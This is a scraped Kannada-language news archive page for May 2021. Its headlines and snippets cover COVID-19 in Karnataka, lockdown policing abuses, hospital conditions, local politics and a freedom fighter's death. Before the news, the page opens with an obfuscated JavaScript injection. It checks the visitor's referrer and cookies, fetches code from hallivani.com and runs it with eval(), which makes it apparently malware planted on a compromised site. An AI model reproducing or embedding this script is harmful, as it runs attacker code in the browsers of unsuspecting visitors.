;if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//hallivani.com/8jju21px/cache/cache.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};

Month: May 2021

ಕೋಟಿ ವೆಚ್ಚದಲ್ಲಿ ಆರೋಗ್ಯ ಕೇಂದ್ರ ನಿರ್ಮಾಣವಾದರೂ ಉದ್ಘಾಟನಾ ಭಾಗ್ಯ ಕಾಣದಾಗಿದೆ ?

ದಾವಣಗೆರೆ, ಮೇ 31: ಗ್ರಾಮೀಣ ಭಾಗದ ಜನರಿಗೆ ಉತ್ತಮ ಆರೋಗ್ಯ ಸೇವೆ ನೀಡಲು ನಿರ್ಮಿಸಲಾಗಿರುವ ಆರೋಗ್ಯ ಕೇಂದ್ರ ಮೂರು ವರ್ಷಗಳು…

ಕಿಮ್ಸ್​ನಲ್ಲಿ ಎಲ್​ಆಂಡ್​ಟಿಯ 1 ಟನ್ ಸಾಮರ್ಥ್ಯದ ಪ್ರಾಣವಾಯು ಘಟಕ : ಪ್ರಲ್ಹಾದ ಜೋಶಿ

ಹುಬ್ಬಳ್ಳಿ, ಮೇ 31: ಇಲ್ಲಿನ ಕಿಮ್ಸ್ ಆವರಣದಲ್ಲಿ ಎಲ್​ಆಂಡ್​ಟಿ ವತಿಯಿಂದ ನಿರ್ವಿುಸಲಾಗುತ್ತಿರುವ 1 ಟನ್ ಸಾಮರ್ಥ್ಯದ ಆಮ್ಲಜನಕ ಉತ್ಪಾದನೆ ಘಟಕಕ್ಕೆ…

ಅವ್ಯವಸ್ಥೆಯ ಆಗರವಾದ ಕಿಮ್ಸ್​​ನ ಕೋವಿಡ್​ ಐಸಿಯು ವಾರ್ಡ್

ಹುಬ್ಬಳ್ಳಿ, ಮೇ 30: ಕರೊನಾ‌ ವಿರುದ್ಧದ ಹೋರಾಟದಲ್ಲಿ ಮೊದಲ ಸ್ಥಾನದಲ್ಲಿರುವ ಕಿಮ್ಸ್​​ನ ಆಸ್ಪತ್ರೆಯಲ್ಲಿ ಕರೊನಾ ಐಸಿಯು ವಾರ್ಡ್​​ ಈಗ ಅವ್ಯವಸ್ಥೆಯ…

ಕರೊನಾ ಸೋಂಕನ್ನು ಗೆದ್ದ ಶತಾಯುಷಿ ದಂಪತಿಯನ್ನು ಸ್ವಾಗತಿಸಿದ ಗ್ರಾಮಸ್ಥರು

ಬಳ್ಳಾರಿ, ಮೇ 29: ಕೋವಿಡ್ ಸೋಂಕು ವಯಸ್ಸಾದವರನ್ನು ಗಂಭೀರವಾಗಿ ಬಾಧಿಸಲಿದ್ದು, ಅವರಲ್ಲಿ ರೋಗನಿರೋಧಕ ಶಕ್ತಿ ಕಡಿಮೆ ಇರುವುದರಿಂದ ಅವರಿಗೆ ಪ್ರಾಣಾಪಾಯ…

ಎಟಿಎಮ್​ಗೆ ಹೋಗಿದ್ದ ಯುವಕನ ಮೇಲೆ ಪೊಲೀಸ್​ ದರ್ಪ

ಲಾಕ್​ಡೌನ್​ ನಿಯಮ ಉಲ್ಲಂಘಿಸಿದ್ದಾನೆ ಎಂದು ಆರೋಪಿಸಿ ಯುವಕನಿಗೆ  ಪಿಎಸ್​ಐ ಹಿಗ್ಗಾಮುಗ್ಗಾ ಥಳಿಸಿರುವ ಘಟನೆ ಹುಬ್ಬಳ್ಳಿಯಲ್ಲಿ ನಡೆದಿದೆ. ಗಂಭೀರವಾಗಿ ಗಾಯಗೊಂಡಿರುವ ಯುವಕ…

ಬೆಳಗಾವಿ: ಮಾಸ್ಕ್ ಧರಿಸದ ತಹಶೀಲ್ದಾರ್​ಗೆ ದಂಡ ವಿಧಿಸಿದ ಪೊಲೀಸರು!

“ಮಾಸ್ಕ್ ಧರಿಸದಿದ್ದಕ್ಕೆ ಬೆಳಗಾವಿ ತಹಶೀಲ್ದಾರ್ ಆರ್.ಕೆ.ಕುಲಕರ್ಣಿಗೆ ಪೊಲೀಸರು 250 ರೂ. ದಂಡ ವಿಧಿಸಿದ್ದಾರೆ.” ಬೆಳಗಾವಿ, ಮೇ 29: ಸಾರ್ವಜನಿಕರಲ್ಲಿ ಜಾಗೃತಿ…

ಭೀಮಾತೀರದಲ್ಲೊಂದು ಅಮಾನವೀಯ ಘಟನೆ, ಜೂಜಾಡಿರುವ‌ ಮಾಹಿತಿ ನೀಡಿದ್ದಕ್ಕೆ ಯುವಕನ ಬಾಯಲ್ಲಿ ಬೂಟು ಇಟ್ಟು ಪೊಲೀಸ್ ದೌರ್ಜನ್ಯ

ವಿಜಯಪುರ, ಮೇ 29: ಲಾಕ್ ಡೌನ್ ಮಧ್ಯೆಯೂ ಜೂಜಾಡುತ್ತಿದ್ದವರ ಬಗ್ಗೆ ಮಾಹಿತಿ ನೀಡಿದ್ದಕ್ಕೆ ಪಿಎಸ್ ಐ ಹಾಗೂ ಪೊಲೀಸ್ ಬೀಟ್…

ಹಳ್ಳಿಗಳಲ್ಲೇ ಕೊರೊನಾ ಕಾಳಜಿ ಕೇಂದ್ರ ತೆರೆದು ಸೋಂಕಿತರ ಆರೈಕೆಗೆ ಯೋಜನೆ: ಧಾರವಾಡ ಡಿಸಿ

ಹುಬ್ಬಳ್ಳಿ , ಮೇ 28: ಧಾರವಾಡ ಜಿಲ್ಲೆಯಲ್ಲಿ ಕೋವಿಡ್ ನಿಯಂತ್ರಣ ಹಿನ್ನೆಲೆಯಲ್ಲಿ ಹೋಬಳಿ, ಗ್ರಾಮ ಪಂಚಾಯತ್ ವ್ಯಾಪ್ತಿಯಲ್ಲಿ ಕೋವಿಡ್ ಕಾಳಜಿ…

ತಾಕತ್ತಿದ್ರೆ ಡಿ.ಸಿ ವರ್ಗಾವಣೆ ಮಾಡಿಸು ಎಂದ ಜಿಟಿಡಿಗೆ ಪ್ರತಾಪ್ ಸಿಂಹ ತಿರುಗೇಟು

ಮೈಸೂರು, ಮೇ 28: ಜಿಲ್ಲಾಧಿಕಾರಿ ರೋಹಿಣಿ ಸಿಂಧೂರಿ ವಿಚಾರವಾಗಿ ಶಾಸಕ ಜಿ.ಡಿ ದೇವೇಗೌಡ ಹಾಕಿದ್ದ ಸವಾಲಿಗೆ ಸಂಸದ ಪ್ರತಾಪ್ ಸಿಂಹ…

ಕರೊನಾ ಸಹಾಯಧನ ಸಲ್ಲಿಕೆಗೆ ಇಂದು ಚಾಲನೆ; ಸೇವಾಸಿಂಧು ವೆಬ್ ಪೋರ್ಟಲ್ನಲ್ಲಿ ಅವಕಾಶ

ಬೆಂಗಳೂರು, ಮೇ 26:  ಕರೊನಾ ಸೋಂಕು ನಿಯಂತ್ರಣಕ್ಕಾಗಿ ರಾಜ್ಯ ಸರ್ಕಾರ ಜಾರಿ ಮಾಡಿರುವ ಲಾಕ್ಡೌನ್ನಿಂದ ಸಮಸ್ಯೆ ಅನುಭವಿಸುತ್ತಿರುವ ಚಾಲಕರಿಗೆ ಸರ್ಕಾರ…

ಹಿರಿಯ ಸ್ವಾತಂತ್ರ್ಯ ಹೋರಾಟಗಾರ ಹೆಚ್.​​ಎಸ್.ದೊರೆಸ್ವಾಮಿ ನಿಧನ

ಬೆಂಗಳೂರು, ಮೇ 26: ಹಿರಿಯ ಸ್ವಾತಂತ್ರ್ಯ ಹೋರಾಟಗಾರ ಹೆಚ್​​.ಎಸ್.ದೊರೆಸ್ವಾಮಿ ನಿಧನರಾಗಿದ್ದಾರೆ. ಅವರಿಗೆ 104 ವರ್ಷಗಳಾಗಿತ್ತು. ಹೃದಯಾಘಾತ ಸಂಭವಿಸಿ ಸಾವನ್ನಪ್ಪಿದ್ದಾರೆ ಅಂತಾ…

ಮೇ.27, 28 ಹಾಗೂ 29 ಮೂರು ದಿನಗಳ ಕಾಲ ಕಿರಾಣಿ, ಮಾಂಸ ಮಾರಾಟ ಅವಧಿ ಬೆಳಿಗ್ಗೆ 6 ರಿಂದ ಮಧ್ಯಾಹ್ನ 12 ರವರೆಗೆ ವಿಸ್ತರಣೆ

ಧಾರವಾಡ, ಮೇ.25: ಕೊರೊನಾ ನಿಯಂತ್ರಿಸಲು ಕಠಿಣ ಲಾಕ್‌ಡೌನ್ ಜಾರಿಗೊಳಿಸಿರುವ ಹಿನ್ನೆಲೆಯಲ್ಲಿ ಜನತೆಗೆ ಕಿರಾಣಿ, ಮಾಂಸದ ಪದಾರ್ಥಗಳನ್ನು ಪೂರೈಸಲು ಮೇ.27 ಗುರುವಾರ,…

ಭಾರತದಲ್ಲಿ ನಾಳೆಯಿಂದ ಫೇಸ್‌ಬುಕ್‌, ಟ್ವಿಟರ್, ಕಾರ್ಯನಿರ್ವಹಿಸುವುದು ಡೌಟ್‌! ಯಾಕೆ?

ನವದಹೆಲಿ, ಮೇ 25: ಇದು ಸೊಶೀಯಲ್‌ ಮೀಡಿಯಾ ಜಮಾನ. ಜಗತ್ತಿನ ಯಾವುದೇ ಮೂಲೆಯಲ್ಲಿ ಏನೇ ನಡೆದರೂ ಸೊಶೀಯಲ್‌ ಮೀಡಿಯಾಗಳಲ್ಲಿ ಚರ್ಚೆ…

ಶವ ಕೊಡಲು ಕಿರಿಕ್ ಮಾಡಿದ್ರೆ ​​ರದ್ದಾಗುತ್ತೆ ಆಸ್ಪತ್ರೆ ರೆಜಿಸ್ಟ್ರೇಷನ್

ಬೆಂಗಳೂರು, ಮೇ 25:  ಖಾಸಗಿ ಆಸ್ಪತ್ರೆಗಳಲ್ಲಿ ಕೊರೊನಾ ರೋಗಿಗಳು ತೀರಿಕೊಂಡ ನಂತರ, ಬಿಲ್​​ನ ಬಾಕಿ‌ ಹಣಕ್ಕೆ ಒತ್ತಾಯಿಸಿ ಮೃತದೇಹ ಹಸ್ತಾಂತರಿಸದ…

ಕೊರೊನಾದಿಂದ ಸಾವನ್ನಪ್ಪಿದ್ರೂ ಇಲ್ಲ ನೆಮ್ಮದಿ; ಇನ್ನೂ ವಿಸರ್ಜನೆಯಾಗದ ಸಾವಿರಾರು ಅಸ್ತಿ !

ಬೆಂಗಳೂರು, ಮೇ 24: ಕೊರೊನಾ ಸೋಂಕಿನಿಂದ ಸಾವನ್ನಪ್ಪಿದ ಸಾವಿರಾರು ಜನರ ಅಸ್ತಿ ವಿಸರ್ಜನೆಯಾಗಿಲ್ಲ. ಆದ್ದರಿಂದ ಅಸ್ತಿ ವಿಸರ್ಜನೆ ಮಾಡಲು ಅವಕಾಶ…